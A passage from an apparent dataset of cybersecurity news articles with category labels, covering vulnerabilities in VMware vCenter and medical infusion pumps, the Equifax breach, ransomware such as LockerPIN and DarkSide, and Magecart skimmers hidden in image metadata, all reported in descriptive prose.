""I'm not the one on the news who is selling the Yahoo xss for 700$, you may noticed that his name is ""TheHell"" idk why that krebsonShitz is linking me to that attack! why i don't sell things I got here? while it's awesome stuff not just XSS!!! 2- I'm not planning to do any more leaks soon!""

ViruS_HimA is a good guy that lives for security and believes in what he does, I consider this hacks very useful for the victims, a lesson to learn, an opportunity to make treasure of errors that everyone could commit.

The real error in cases like this is to remain deaf to the alarms, Vurus_HimA closed the saying: ""Always be proactive not reactive in safeguarding your critical data.""

I totally share his thought.

",Vulnerability
Critical RCE Vulnerability Found in VMware vCenter Server — Patch Now!,https://thehackernews.com/2021/05/critical-rce-vulnerability-found-in.html,"VMware has rolled out patches to address a critical security vulnerability in vCenter Server that could be leveraged by an adversary to execute arbitrary code on the server.
Tracked as CVE-2021-21985 (CVSS score 9.8), the issue stems from a lack of input validation in the Virtual SAN (vSAN) Health Check plug-in, which is enabled by default in the vCenter Server. ""A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,"" VMware said in its advisory.
VMware vCenter Server is a server management utility that's used to control virtual machines, ESXi hosts, and other dependent components from a single centralized location. The flaw affects vCenter Server versions 6.5, 6.7, and 7.0 and Cloud Foundation versions 3.x and 4.x. VMware credited Ricter Z of 360 Noah Lab for reporting the vulnerability.
The patch release also rectifies an authentication issue in the vSphere Client that affects Virtual SAN Health Check, Site Recovery, vSphere Lifecycle Manager, and VMware Cloud Director Availability plug-ins (CVE-2021-21986, CVSS score: 6.5), thereby allowing an attacker to carry out actions permitted by the plug-ins without any authentication.
While VMware is strongly recommending customers to apply the ""emergency change,"" the company has published a workaround to set the plug-ins as incompatible. ""Disablement of these plug-ins will result in a loss of management and monitoring capabilities provided by the plug-ins,"" the company noted.
""Organizations who have placed their vCenter Servers on networks that are directly accessible from the Internet [...] should audit their systems for compromise,"" VMware added. ""They should also take steps to implement more perimeter security controls (firewalls, ACLs, etc.) on the management interfaces of their infrastructure.""
CVE-2021-21985 is the second critical vulnerability that VMware has rectified in the vCenter Server. Earlier this February, it resolved a remote code execution vulnerability in a vCenter Server plug-in (CVE-2021-21972) that could be abused to run commands with unrestricted privileges on the underlying operating system hosting the server.
The fixes for the vCenter flaws also come after the company patched another critical remote code execution bug in VMware vRealize Business for Cloud (CVE-2021-21984, CVSS score: 9.8) due to an unauthorized endpoint that could be exploited by a malicious actor with network access to run arbitrary code on the appliance.
Previously, VMware had rolled out updates to remediate multiple flaws in VMware Carbon Black Cloud Workload and vRealize Operations Manager solutions.

",Vulnerability
Adobe releases open source malware classification tool,https://thehackernews.com/2012/04/adobe-releases-open-source-malware.html,"Adobe releases open source malware classification tool

Adobe Systems has released a malware classification tool in order to help security incident first responders, malware analysts and security researchers more easily identify malicious binary files.

The 'Adobe Malware Classifier' tool uses machine learning algorithms to classify Windows executable and dynamic link library (DLL) files as clean, malicious or unknown, Adobe security engineer Karthik Raman said in a recent blog post, Raman originally developed Malware Classifier for in-house use by Adobe's Product Security Incident Response (PSIRT) Team.

When run, the tool extracts seven key attributes from every analyzed binary file and compares them to data obtained by running the J48, J48 Graft, PART, and Ridor machine-learning algorithms on a set of 100,000 malicious programs and 16,000 clean ones, Raman said.

""Malware classification can be a difficult task for even experienced analysts, especially in the modern era of highly obfuscated code, binaries that are designed to evade scanners and anti-malware applications. Determining whether an odd binary is potentially malicious can be a frustrating and time-consuming task"".

It is available for download from SourceForge.

",Malware
Hackers Can Remotely Access Syringe Infusion Pumps to Deliver Fatal Overdoses,https://thehackernews.com/2017/09/hacking-infusion-pumps.html,"Internet-of-things are turning every industry into the computer industry, making customers think that their lives would be much easier with smart devices. However, such devices could potentially be compromised by hackers.

There are, of course, some really good reasons to connect certain devices to the Internet.

But does everything need to be connected? Of course, not—especially when it comes to medical devices.

Medical devices are increasingly found vulnerable to hacking. Earlier this month, the US Food and Drug Administration (FDA) recalled 465,000 pacemakers after they were found vulnerable to hackers.

Now, it turns out that a syringe infusion pump used in acute care settings could be remotely accessed and manipulated by hackers to impact the intended operation of the device, ICS-CERT warned in an advisory issued on Thursday.

An independent security researcher has discovered not just one or two, but eight security vulnerabilities in the Medfusion 4000 Wireless Syringe Infusion Pump, which is manufactured by Minnesota-based speciality medical device maker Smiths Medical.

The devices are used across the world for delivering small doses of medication in acute critical care, such as neonatal and pediatric intensive care and the operating room.

Some of these vulnerabilities discovered by Scott Gayou are high in severity that can easily be exploited by a remote attacker to ""gain unauthorized access and impact the intended operation of the pump.""
According to the ICS-CERT, ""Despite the segmented design, it may be possible for an attacker to compromise the communications module and the therapeutic module of the pump.""
The most critical vulnerability (CVE-2017-12725) has been given a CVSS score of 9.8 and is related to the use of hard-coded usernames and passwords to automatically establish a wireless connection if the default configuration is not changed.

The high-severity flaws include:
A buffer overflow bug (CVE-2017-12718) that could be exploited for remote code execution on the target device in certain conditions.
Lack of authentication (CVE-2017-12720) if the pump is configured to allow FTP connections.
Presence of hard-coded credentials (CVE-2017-12724) for the pump's FTP server.
Lack of proper host certificate validation (CVE-2017-12721), leaving the pump vulnerable to man-in-the-middle (MitM) attacks.
The remaining are medium severity flaws which could be exploited by attackers to crash the communications and operational modules of the device, authenticate to telnet using hard-coded credentials, and obtain passwords from configuration files.

These vulnerabilities impact devices that are running versions 1.1, 1.5 and 1.6 of the firmware, and Smiths Medical has planned to release a new product version 1.6.1 in January 2018 to address these issues.

But in the meantime, healthcare organizations are recommended to apply some defensive measures including assigning static IP addresses to pumps, monitoring network activity for malicious servers, installing the pump on isolated networks, setting strong passwords, and regularly creating backups until patches are released.

",Vulnerability
Equifax Data Breach: Steps You should Take to Protect Yourself,https://thehackernews.com/2017/09/equifax-data-breach.html,"Equifax has suffered one of the largest data breaches in history that has left highly sensitive data of as many as 143 million people—that's nearly half of the US population—in the hands of hackers.

Based on the company's investigation, some unknown hackers managed to exploit a security flaw on the Equifax website and gained unauthorized access to certain files between mid-May and July 2017.

The information accessed primarily include full names, birth dates, Social Security numbers, addresses and, in some cases, driver's license numbers—most of the information that's banks, insurance companies, and other businesses use to confirm a consumer identity.

The company added that 209,000 credit card numbers were also obtained by the attackers, along with ""certain dispute documents with personal identifying information for approximately 182,000 U.S. consumers.""

Equifax is one of the three major organizations in the United States that calculates credit scores, which means the company has access to an extraordinary amount of personal and financial information for virtually all American adults.

Here's How Roughly Equifax Handled the Massive Data Breach

For a second, keep aside the scope and severity of the data breach, and let's talk about the how Equifax handled the breach after discovering it and what all it did for its customers.

First of all, the third largest U.S. credit reporting firm took over five weeks to publically disclose the data breach, which began in mid-May that means the data of 143 million people were exposed for over 3 months.

What's more? Reportedly, three senior Equifax executives, namely John Gamble (CFO), Joseph Loughran and Rodolfo Ploder, were permitted to sell almost $2 million worth of their shares just days after the company learned of this massive hack.

However, the company officials told Bloomberg that the employees were unaware of the data breach at the time of the sale.

Wait there's even more: After revealing the data breach on Thursday, Equifax did not contact everyone who was affected, rather it asked customers to go to its special website to figure out whether they were affected by entering the last 6 digits of their SSN and last name.

But it's not that simple. The website is not giving a clear answer about whether or not your data may have been affected, but making it clear to those who were not exposed. It's confusing.

What Would Be Hackers Next Move?

With this data in hand, it's most likely that hackers are already selling your personal information on the dark web or attempting to extort the company, like cyber criminals do in most massive data breach cases.

The Game of Thrones hackers did the same by leaking upcoming episodes of the widely watched show after HBO refused to their $6 Million ransom demand for the 1.5 terabytes of data they claimed to have stolen from the company.

Same happened to Netflix in April this year when the company refused to meet 50 Bitcoins ransom demand of a hacking group calling itself The Dark Overlord, which then leaked 10 back-to-back episodes of the Season 5 premiere of Netflix's ""Orange Is the New Black.""

Although Equifax has not yet confirmed whether the hackers have contacted the company for any demand or not, the breach is major, and all 143 Million Americans quickly need to take action to protect themselves and their loved ones.

Here's what all you can do to Protect Yourself:

1. Enroll in TrustedID Premier

Equifax is offering a year of free credit monitoring and identity theft protection program for free for one year through TrustedID Premier that you should sign up if you are a US resident—the service is free whether or not you have been affected by the breach.

The program offers services such as Equifax credit report, 3 bureau credit file monitoring, Equifax credit report lock, Social Security number monitoring and up to $1M identity theft insurance.

However, Equifax's own identity protection service is not enough, you must follow below steps to help ensure you're doing everything to protect your identity.

2. Monitor your accounts

In upcoming days, the personal and payment cards details are likely to be sold in underground black markets, resulting in financial loss and identity theft to millions of customers.

So, users are advised to be vigilant in reviewing their bank account statements, checking for any changes in their personal information and reporting any unauthorized transactions to the respective bank.

3. Freeze Your Credit Report

Since your stolen Social Security number can be misused by hackers to open new accounts in your name or ruin your credit score, you should consider placing a credit freeze request.

Freezing your credit will make it difficult for anyone to open a new account in your name, as you (or anyone masquerading as you) will need the PIN that you got when you froze your credit to unfreeze your account.

To freeze your credit, contact these credit bureaus: Equifax: 1-800-349-9960, Experian: 1‑888‑397‑3742, and TransUnion: 1-888-909-8872.

4. Change your Passwords and Logins

Meanwhile, all customers are advised to reset their account passwords and login information on the website.

5. Watch out for tax season

It's important for you to know that identity thieves can use your stolen social security number to file fraudulent tax returns and get refunds.

So, you should consider filing your taxes early.

6. Watch Out for Scams

Users are strongly advised to be cautious if they receive any suspicious or unrecognised phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.

7. Already Experienced Identity Theft? Here's what to do now:

If you have already a victim to the identity theft, visit the FTC Identity Theft Recovery website and fill in the form. The Federal Trade Commission will provide you with a specific identity theft report and ""to-do"" recovery plans.

",Data_Breaches
Ukraine Police Warns of New NotPetya-Style Large Scale CyberAttack,https://thehackernews.com/2017/10/ukraine-notpetya-cyberattack.html,"Remember NotPetya?

The Ransomware that shut down thousands of businesses, organisations and banks in Ukraine as well as different parts of Europe in June this year.

Now, Ukrainian government authorities are once again warning its citizens to brace themselves for next wave of ""large-scale"" NotPetya-like cyber attack.

According to a press release published Thursday by the Secret Service of Ukraine (SBU), the next major cyber attack could take place between October 13 and 17 when Ukraine celebrates Defender of Ukraine Day (in Ukrainian: День захисника України, Den' zakhysnyka Ukrayiny).

Authorities warn the cyber attack can once again be conducted through a malicious software update against state government institutions and private companies.

The attackers of the NotPetya ransomware also used the same tactic—compromising the update mechanism for Ukrainian financial software provider called MeDoc and swapping in a dodgy update including the NotPetya computer virus.

The virus then knocked computers in Ukrainian government agencies and businesses offline before spreading rapidly via corporate networks of multinational companies with operations or suppliers in eastern Europe.
Presentation by Alexander Adamov, CEO at NioGuard Security Lab
The country blamed Russia for the NotPetya attacks, while Russia denied any involvement.

Not just ransomware and wiper malware, Ukraine has previously been a victim of power grid attacks that knocked its residents out of electricity for hours on two different occasions.

The latest warning by the Ukrainian secret service told government and businesses to make sure their computers and networks were protected against any intrusion.
""SBU notifies about preparing for a new wave of large-scale attack against the state institutions and private companies. The basic aim—to violate normal operation of information systems, that may destabilize the situation in the country,"" the press release reads.
""The SBU experts received data that the attack can be conducted with the use of software updating, including public applied software. The mechanism of its realization will be similar to cyber-attack of June 2017.""

To protect themselves against the next large-scale cyber attack, the SBU advised businesses to follow some recommendations, which includes:

Updating signatures of virus protection software on the server and in the workstation computers.
Conducting redundancy of information, which is processed on the computer equipment.
Providing daily updating of system software, including Windows operating system of all versions.

Since the supply chain attacks are not easy to detect and prevent, users are strongly advised to keep regular backups of their important files on a separate drive or storage that are only temporarily connected for worst case scenarios.

Most importantly, always keep a good antivirus on your system that can detect and block any malware intrusion before it can infect your device, and keep it up-to-date for latest infection-detection.

",Cyber_Attack
LockerPin Ransomware Resets PIN and Permanently Locks Your SmartPhones,https://thehackernews.com/2015/09/android-lock-ransomware.html,"Your device's lock screen PIN is believed to keep your phone's contents safe from others, but sadly not from a new piece of ransomware that is capable of hijacking safety of your Android devices.

A group of security researchers has uncovered what is believed to be the first real example of malware that is capable to reset the PIN code on a device and permanently lock the owner out of their own smartphone or tablet.

This Android PIN-locking ransomware, identified as Android/Lockerpin.A, changes the infected device's lock screen PIN code and leaves victims with a locked mobile screen, demanding for a $500 (€450) ransom.

Here's the Kicker:

Since the lock screen PIN is reset randomly, so even paying the ransom amount won't give you back your device access, because even the attackers don't know the changed PIN code of your device, security researchers at Bratislava-based antivirus firm ESET warn.

LockerPIN, as dubbed by the researchers, being spread through an adult entertainment apps installed from third-party websites, warez forums, and torrents – outside of the official Google Play Store.

The app in question is Porn Droid, which is the second of its kind observed recently called Adult Player – another porn-themed Android app that takes selfies of its users and include them in its ransom messages.

How LockerPIN Works?

Once installed on the victim's smartphone, the app first tricks users into granting it device administrator rights. It does so by disguising itself as an ""Update patch installation"" window.

After gaining admin privileges, the malicious app goes on to change the user's lock screen PIN code, using a randomly generated number.

This random number is not even sent to the attacker, meaning even after victims pay the ransom; nobody can unlock the device's screen.

Though the majority of infected devices are detected within the United States, the researchers have spotted the infections worldwide.

How to Get Rid of this LockerPIN Ransomware?

Unfortunately, there is ""no effective way"" to regain access to infected devices without losing personal data.

Rebooting the device in Safe Mode and uninstalling the offending application or using Android Debug Bridge (ADB) alone won't solve the issue.

The only way to unlock the device and get rid of LockerPIN ransomware app is to perform a factory reset that would wipe out all the personal data and apps stored on your device.

Ransomware delivering through malicious apps are growing increasingly and becoming more sophisticated with time, and this newly discovered LockerPIN Ransomware proves the theory.

The bottom line:

To avoid falling victims to malicious apps like Porn Droid and Adult Player, the saving grace for users is:
Don't install apps outside of the Google Play Store.
Don't grant administrator privileges to apps unless you truly trust them.

",Malware
How Some Chinese Hackers Started Making Big Money,https://thehackernews.com/2015/10/hacking-news-china.html,"We know that Hackers hack for a variety of reasons:

...some hack to test their skills,
…some hack to gain recognition,
...some hack to make money,
...some hack to support their Nation-State strategy,
...and, some hack alone, and some hack in Groups.

And Chinese Hackers are the ones who are infamous for their dedication towards Hacking.

Chinese hacking groups are better known for attacking and stealing information, organized cyber crimes, theft of intellectual property and state-sponsored cyber espionage attacks.

But it seems that several Chinese hacker groups have now shifted their motive of hacking towards 'making money'.

How much Money Hackers Actually Make?

It is a known fact that hacking makes money, but how much?

Answer: At least $4,500,000/year from one malware campaign.

How? We often observe mobile and desktop applications bundled with Ad-displaying programs, called Adware, to generate revenue.

Just last week we reported about ""Kemoge Android Adware,"" disguising itself as popular apps, is making the rounds in as many as 20 countries.
Kemoge malware, whose origin is suspected from China, can root vulnerable Android devices, which practically allows hackers to take over victim's Android device.

Once installed, the malware automatically download other Apps it gets paid to promote.

But Kemoge adware is not alone, the researchers have discovered some it's variants that belong to the same malware family.

Chinese Adware Family Threatening your Android

In a recent blog post, Security experts at Cheetah Mobile company, developers of CM Security and Antivirus apps, detailed about how Chinese hackers are making millions of profits from underground App distribution chains.

Other members of the same family are:
Ghost Push
Braintest
Guaranteed Clicks
RetroTetri

All these malware under same illegal Mobile Marketing Industry Chain follow a similar modus operandi; which is:
Repackage popular apps to injected malicious code and Ad components
Bypass Google Play Store's Bouncer Security
Exploiting existing Android vulnerabilities to gain Admin-level permissions
Root users' devices that make them unable to uninstall the virus
And then promote malicious apps through legitimate channels
""As users are completely unable to uninstall these malicious apps, the virus developers soon get a massive number of active users."" Cheetah Mobile researcher said.
""With this user base, the virus developer is able to set up a marketing promotion company and become a mobile dealer. Then they have the qualifications to cooperate with ad sponsors, making money by distributing products for advertisers.""
These malicious apps were found on some famous App Stores, including Google Play, Aptoide and Mobogonie.

Some Critical Findings from their Research are:
This Virus family includes 4000 Samples
The Adware is affecting Android versions from 2.3 to 5.1.
More than 10,000 phone types and 2,742 brands have been affected.
The virus has affected more than 900,000 Android users in over 116 countries, especially Southeast Asia.
More than four suspicious domain names have been identified.

Tips for keeping your Android Device Safe

Users are advised to:
never click on suspicious links from emails or websites,
be careful what you download,
don't install apps without reviewing them,
inspect each and every permission an Android app asks for,
keep your Android device updated.

Read More:
China Admits It Has Army of Hackers
China arrested Hackers at U.S. Government Request
China Using A Powerful 'Great Cannon' Weapon to Censor The Internet
China Demands Tech Companies to give them Backdoor and Encryption Keys
To grab more of what China-based hacks and attacks are capable of, Follow us and Stay Tuned.

",Malware
DarkSide Ransomware Gang Extorted $90 Million from Several Victims in 9 Months,https://thehackernews.com/2021/05/darkside-ransomware-gang-extorted-90.html,"DarkSide, the hacker group behind the Colonial Pipeline ransomware attack earlier this month, received $90 million in bitcoin payments following a nine-month ransomware spree, making it one of the most profitable cybercrime groups.
""In total, just over $90 million in bitcoin ransom payments were made to DarkSide, originating from 47 distinct wallets,"" blockchain analytics firm Elliptic said. ""According to DarkTracer, 99 organisations have been infected with the DarkSide malware - suggesting that approximately 47% of victims paid a ransom, and that the average payment was $1.9 million.""
Of the total $90 million haul, the DarkSide's developer is said to have received $15.5 million in bitcoins, while the remaining $74.7 million was split among its various affiliates. FireEye's research into DarkSide's affiliate program had previously revealed that its creators take a 25% cut for payments under $500,000 and 10% for ransoms above $5 million, with the lion's share of the money going to the recruited partners.
Elliptic co-founder and chief scientist Dr. Tom Robinson said the ""split of the ransom payment is very clear to see on the blockchain, with the different shares going to separate Bitcoin wallets controlled by the affiliate and developer.""
What's more, an analysis of blockchain transactions uncovered the syndicate had made $17.5 million in the past three months alone, with roughly 10% of the profits coming from payouts made by chemical distribution company Brenntag (nearly $4.4 million) and Colonial Pipeline. The Georgia-headquartered firm said it paid 75 bitcoins ($4.4 million as of May 8) to restore access, CEO Joseph Blount told the Wall Street Journal.
DarkSide, which went operational in August 2020, is just one of many groups that operated as a service provider for other threat actors, or ""affiliates,"" who used its ransomware to extort targets in exchange for a cut of the profits, but not before threatening to release the data — a tactic known as double extortion.
But in a sudden turn of events, the prolific cybercrime cartel last week announced plans to wind up its Ransomware-as-a-Service (RaaS) affiliate program for good, claiming that its servers had been seized by law enforcement. Its bitcoin wallet was also emptied to an unknown account.
The fallout from the biggest known cyberattack on U.S. energy industry is only the latest example of how a spate of ransomware incidents are increasingly affecting the operations of critical infrastructure and emerging a national security threat. The events have also turned the spotlight on implementing necessary strategies to ensure vital functions remain operational in the event of a significant cyber disruption.

",Malware
Security hole allows anyone to hijack your Skype account,https://thehackernews.com/2012/11/security-hole-allows-anyone-to-hijack.html,"It looks like Skype has another big hole in their security. According to reports, a security hole makes Skype accounts vulnerable to hijacking. The security hole allows unauthorized users with knowledge of your Skype-connected email address to change the password on your Skype account, thus gaining control of it.
The hijack is triggered by signing up for a new Skype account using the email address of another registered user. No access to the victim's inbox is required one just simply needs to know the address. Creating an account this way generates a warning that the email address is already associated with another user, but crucially the voice-chat website does not prevent the opening of the new account.

Then hacker just have to ask for a password reset token , which Skype app will send automatically to your email, this allows a third party to redeem it and claim ownership of your original username and thus account. The issue was reportedly documented on Russian forums months ago, and appears to have been easy to exploit.

Skype appears to have pulled its password reset page, stopping this flaw in its tracks and said, ""We have had reports of a new security vulnerability issue. As a precautionary step we have temporarily disabled password reset as we continue to investigate the issue further. We apologize for the inconvenience but user experience and safety is our first priority""

For quick security of your account, users should change associated e-mail address of your Skype account.

",Vulnerability
Vulnerable Texas Transportation Site 'TxTag' leaves 1.2 Million Credit Cards at Risk,https://thehackernews.com/2014/04/vulnerable-texas-transportation-site.html,"Do you know, Why another major company is getting hacked every week? Because of poor policies, Laziness to Incident Response and lack in will-power to put efforts on applying important patches.

Some companies are not taking their security more seriously, and best suitable example for this is TxTag, an electronic toll collection systems in Texas operated by Texas Department of Transportation (TxDOT).

1.2 MILLION CREDIT CARD ARE AT RISK
Security researcher, David Longenecker claimed a serious flaw at TxTag website that exposes the active Credit Card Details and Personal Information of 1.2 Million Drivers including active TxTags (vehicle stickers with microchips, which are scanned by electronic readers on toll roads), Names, phone numbers, full residence addresses, email addresses, along with their complete Credit card numbers and Expiration date.

According to David, the account names could be easily predictable by anyone, which is typically an 8-digit number that begins with the number 2 and protected by only a 4-digit PIN Number, that could be itself another easy x-factor to abuse.
But their stupidity didn't end here, to make the case worst for their users; TxTag.org inexplicably stores the entire credit card details including Credit Card Numbers and expiration date, which meant to be partial visible to users, but available in the plaintext as the value of input field on the page source code.
""I have no indication credit cards have actually been stolen. I merely found and reported a flaw that could very easily be exploited to obtain this information."" he said.

NO LESSONS LEARNED FROM PREVIOUS CYBER ATTACK
Texas Department of Transportation had not learned any lesson from their past experiences with hackers. Exactly two years back, they themselves confirmed a ""cyber attack"" in which the hackers overloaded the TxTag back office accounts servers, but according to TxTag, no accounts were compromised at the time.

In the reply back in 2012, Karen Amacker, TxDOT spokesman said, ""Customer service and information security are of paramount importance to TxDOT. Cyberattackers recently tried to get into TxTag.org, but were not successful. All of our customers' information, including credit card information, remains secure.""

But this security and so called paramount importance is seems to be a dilemma for them as they did nothing to improve the data security of their users after facing an attack.

FLAW REPORTED, BUT YET NO RESPONSE
The Flaw has been reported by the researcher, but neither TxTag nor TxDOT have so far responded to any of his request for comment.

""The problem lies in the AutoPay Method screen. If you do not have a credit card or bank account stored for automatic payments, then financial data cannot be stolen through this manner."" david said.

We should understand that no one is safe when bad hackers are out to do some damage. You are always advised to don't be lazy with your passwords, set tough-to-guess and long passwords and don't store information online that you don't absolutely need to. Stay Tuned, Stay Safe.

",Data_Breaches
Android Clickjacking Rootkit Demonstrated,https://thehackernews.com/2012/07/android-clickjacking-rootkit.html,"Android Clickjacking Rootkit Demonstrated
Mobile security researchers have identified an aspect of Android 4.0.4 (Ice Cream Sandwich) and earlier models that clickjacking rootkits could exploit. Researchers at NC State in the US have developed a proof-of-concept prototype rootkit that attacks the Android framework and could be used to steal personal information.

What is clickjacking? It is a malicious technique that tricks users and is often used to take over computers, web cams, or snag confidential info that is revealed by users who thinks they are on an innocent webpage.

Like most Android malware, the rootkit can be distributed as a malicious app, opening up a host of potential vulnerabilities on any device on which it is installed. However, it functions in a different way.

The rootkit, which could be bundled with an app and is said to be undetectable by anti-virus packages, would allow an attacker to replace a smartphone's browser with a version that logs key strokes to capture bank card data and uploads them to a hacker-controlled website.

Jiang explained in a video in which he demonstrates the rootkit in action:
In a demonstration video, the rootkit is shown manipulating the apps on a smartphone. Such a program could be used by cybercriminals to replace an app with a malicious data stealing version that appears legitimate to the user.

""This would be a more sophisticated type of attack than we've seen before,"" says Jiang, ""But there is good news. Now that we've identified the problem, we can begin working on ways to protect against attacks like these.""

",Malware
How One Photo Could Have Hacked Your WhatsApp and Telegram Accounts,https://thehackernews.com/2017/03/hack-whatsapp-telegram-account.html,"Next time when someone sends you a photo of a cute cat or a hot chick on WhatsApp or Telegram then be careful before you click on the image to view — it might hack your account within seconds.

A new security vulnerability has recently been patched by two popular end-to-end encrypted messaging services — WhatsApp and Telegram — that could have allowed hackers to completely take over user account just by having a user simply click on a picture.

The hack only affected the browser-based versions of WhatsApp and Telegram, so users relying on the mobile apps are not vulnerable to the attack.

According to Checkpoint security researchers, the vulnerability resided in the way both messaging services process images and multimedia files without verifying that they might have hidden malicious code inside.

For exploiting the flaw, all an attacker needed to do was sending the malicious code hidden within an innocent-looking image. Once the victim clicked on the picture, the attacker could have gained full access to the victim's WhatsApp or Telegram storage data.

This eventually allowed attackers to take full access to the user's account on any browser, view and manipulate chat sessions, access victim's personal and group chats, photos, videos, audios, other shared files and contact lists as well.
Millions of WhatsApp and Telegram accounts could have been hacked using just a PHOTO!
CLICK TO TWEET
To make this attack widespread, the attacker can then send the malware-laden image to everyone on the victim's contact list, which could, eventually, mean that one hijacked account could be led to countless compromises by leapfrogging accounts.

Video Demonstration

The researchers also provided a video demonstration, given below which shows the attack in action.
Here's Why This Vulnerability Went Undetected:

Both WhatsApp and Telegram use end-to-end encryption for its messages to ensure that nobody, except the sender and the receiver, can read the messages in between.

However, this same end-to-end encryption security measure was also the source of this vulnerability.

Since the messages were encrypted on the side of the sender, WhatsApp and Telegram had no idea or a way of knowing, that malicious code was being sent to the receiver, and thus were unable to prevent the content from being running.
""Since messages were encrypted without being validated first, WhatsApp and Telegram were blind to the content, thus making them unable to prevent malicious content from being sent,"" the researchers writes in a blog post.
WhatsApp fixed the flaw within 24 hours on Thursday, March 8, while Telegram patched the issue on Monday.

Since the fixes have been applied on the server end, users don't have to update any app to protect themselves from the attack; instead, they just need a browser restart.
""It's a big vulnerability in a significant service,"" said Oded Vanunu, head of product vulnerability research at Check Point. ""Thankfully, WhatsApp and Telegram responded quickly and responsibly to deploy the mitigation against exploitation of this issue in all web clients.""
WhatsApp did not notice any abuse of the vulnerability, while Telegram claimed the flaw was less severe than WhatsApp, as it required the victim to right click on the image content and then open it in a new window or tab for the malicious code to run and exploit its users.

After fixing this flaw, content on the web versions of both WhatsApp and Telegram will now be validated before the end-to-end encryption comes into play, allowing malicious files to be blocked.

",Vulnerability
Cybercrime Group Asking Insiders for Help in Planting Ransomware,https://thehackernews.com/2021/08/cybercrime-group-asking-insiders-for.html,"A Nigerian threat actor has been observed attempting to recruit employees by offering them to pay $1 million in bitcoins to deploy Black Kingdom ransomware on companies' networks as part of an insider threat scheme.
""The sender tells the employee that if they're able to deploy ransomware on a company computer or Windows server, then they would be paid $1 million in bitcoin, or 40% of the presumed $2.5 million ransom,"" Abnormal Security said in a report published Thursday. ""The employee is told they can launch the ransomware physically or remotely. The sender provided two methods to contact them if the employee is interested—an Outlook email account and a Telegram username.""
Black Kingdom, also known as DemonWare and DEMON, attracted attention earlier this March when threat actors were found exploiting ProxyLogon flaws impacting Microsoft Exchange Servers to infect unpatched systems with the ransomware strain.
Abnormal Security, which detected and blocked the phishing emails on August 12, responded to the solicitation attempt by creating a fictitious persona and reached out to the actor on Telegram messenger, only to have the individual inadvertently spill the attack's modus operandi, which included two links for an executable ransomware payload that the ""employee"" could download from WeTransfer or Mega.nz.
""The actor also instructed us to dispose of the .EXE file and delete it from the recycle bin. Based on the actor's responses, it seems clear that he 1) expects an employee to have physical access to a server, and 2) he's not very familiar with digital forensics or incident response investigations,"" said Crane Hassold, director of threat intelligence at Abnormal Security.
Besides taking a flexible approach to their ransom demands, the plan is believed to have been concocted by the chief executive of a Lagos-based social networking startup, with the goal of using the siphoned funds to ""build my own company."" In one of the conversations that took place over the course of five days, the individual even took to calling himself ""the next Mark Zuckerberg.""
Also of particular note is the method of using LinkedIn to collect corporate email addresses of senior-level executives, once again highlighting how business email compromise (BEC) attacks originating from Nigeria continue to evolve and expose businesses to sophisticated attacks like ransomware.
""There's always been a blurry line between cyberattacks and social engineering, and this is an example of how the two are intertwined. As people become better at recognizing and avoiding phishing, it should be no surprise to see attackers adopt new tactics to accomplish their goals,"" Tim Erlin, vice president of product management and strategy at Tripwire, said.
""The idea of a disgruntled insider as a cybersecurity threat isn't new. As long as organizations require employees, there will always be some insider risk. The promise of getting a share of the ransom might seem attractive, but there's almost zero guarantee that this kind of complicity will actually be rewarded, and it's highly likely that someone taking this attacker up on their offer would get caught,"" Erlin added.

",Malware
e-Commerce Site Hackers Now Hiding Credit Card Stealer Inside Image Metadata,https://thehackernews.com/2020/06/image-credit-card-skimmers.html,"In what's one of the most innovative hacking campaigns, cybercrime gangs are now hiding malicious code implants in the metadata of image files to covertly steal payment card information entered by visitors on the hacked websites.

""We found skimming code hidden within the metadata of an image file (a form of steganography) and surreptitiously loaded by compromised online stores,"" Malwarebytes researchers said last week.

""This scheme would not be complete without yet another interesting variation to exfiltrate stolen credit card data. Once again, criminals used the disguise of an image file to collect their loot.""

The evolving tactic of the operation, widely known as web skimming or a Magecart attack, comes as bad actors are finding different ways to inject JavaScript scripts, including misconfigured AWS S3 data storage buckets and exploiting content security policy to transmit data to a Google Analytics account under their control.

Using Steganography to Hide Skimmer Code in EXIF

Banking on the growing trend of online shopping, these attacks typically work by inserting malicious code into a compromised site, which surreptitiously harvests and sends user-entered data to a cybercriminal's server, thus giving them access to shoppers' payment information.


In this week-old campaign, the cybersecurity firm found that the skimmer was not only discovered on an online store running the WooCommerce WordPress plugin but was contained in the EXIF (short for Exchangeable Image File Format) metadata for a suspicious domain's (cddn.site) favicon image.

Every image comes embedded with information about the image itself, such as the camera manufacturer and model, date and time the photo was taken, the location, resolution, and camera settings, among other details.

Using this EXIF data, the hackers executed a piece of JavaScript that was concealed in the ""Copyright"" field of the favicon image.

""As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their name, billing address, and credit card details,"" the researchers said.

Aside from encoding the captured information using the Base64 format and reversing the output string, the stolen data is transmitted in the form of an image file to conceal the exfiltration process.

Stating the operation might be the handiwork of Magecart Group 9, Malwarebytes added the JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library.


This is not the first time Magecart groups have used images as attack vectors to compromise e-commerce websites. Back in May, several hacked websites were observed loading a malicious favicon on their checkout pages and subsequently replacing the legitimate online payment forms with a fraudulent substitute that stole user card details.

Abusing DNS Protocol to Exfiltrate Data from the Browser

But data-stealing attacks don't have to be necessarily confined to malicious skimmer code.

In a separate technique demonstrated by Jessie Li, it's possible to pilfer data from the browser by leveraging dns-prefetch, a latency-reducing method used to resolve DNS lookups on cross-origin domains before resources (e.g., files, links) are requested.

Called ""browsertunnel,"" the open-source software consists of a server that decodes messages sent by the tool, and a client-side JavaScript library to encode and transmit the messages.


The messages themselves are arbitrary strings encoded in a subdomain of the top domain being resolved by the browser. The tool then listens for DNS queries, collecting incoming messages, and decoding them to extract the relevant data.

Put differently, 'browsertunnel' can be used to amass sensitive information as users carry out specific actions on a webpage and subsequently exfiltrate them to a server by disguising it as DNS traffic.

""DNS traffic does not appear in the browser's debugging tools, is not blocked by a page's Content Security Policy (CSP), and is often not inspected by corporate firewalls or proxies, making it an ideal medium for smuggling data in constrained scenarios,"" Li said.

",Cyber_Attack
Skype Vulnerability Exposing User IP Addresses,https://thehackernews.com/2012/05/skype-vulnerability-exposing-user-ip.html,"Skype Vulnerability Exposing User IP Addresses

Skype is warning users following the launch of a site devoted to harvesting user IP addresses.The Skype IP-Finder site allowed third-parties to see a user's last known IP address by simply typing in a user name.

A script has been uploaded to Github that offers these options. According to the page, it can be used to lookup IP addresses of online Skype accounts, and return both the remote and the local IP of that account on a website.

